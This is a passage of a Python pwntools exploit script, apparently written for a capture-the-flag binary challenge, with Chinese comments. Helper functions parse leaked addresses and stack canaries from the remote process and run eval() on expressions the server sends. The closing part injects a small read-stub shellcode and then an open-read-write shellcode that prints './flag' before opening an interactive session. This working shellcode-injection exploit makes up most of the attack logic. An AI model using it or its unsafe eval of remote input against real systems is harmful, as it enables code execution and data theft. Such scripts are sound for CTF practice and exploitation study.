        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")


def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)


def recv_and_transform(prev_string: str = None, from_bytes: bool = True,
                       is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)


def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")


...

payload = flat([
    asm('''
mov esi, edx
xor edi, edi
syscall
        ''')
])
sendline_after_clean(payload)

# 生成orw的shellcode
payload = flat([
    asm("nop")*0x10,
    asm(shellcraft.cat("./flag"))
])

sendline_after_clean(payload)

interactive_after_clean()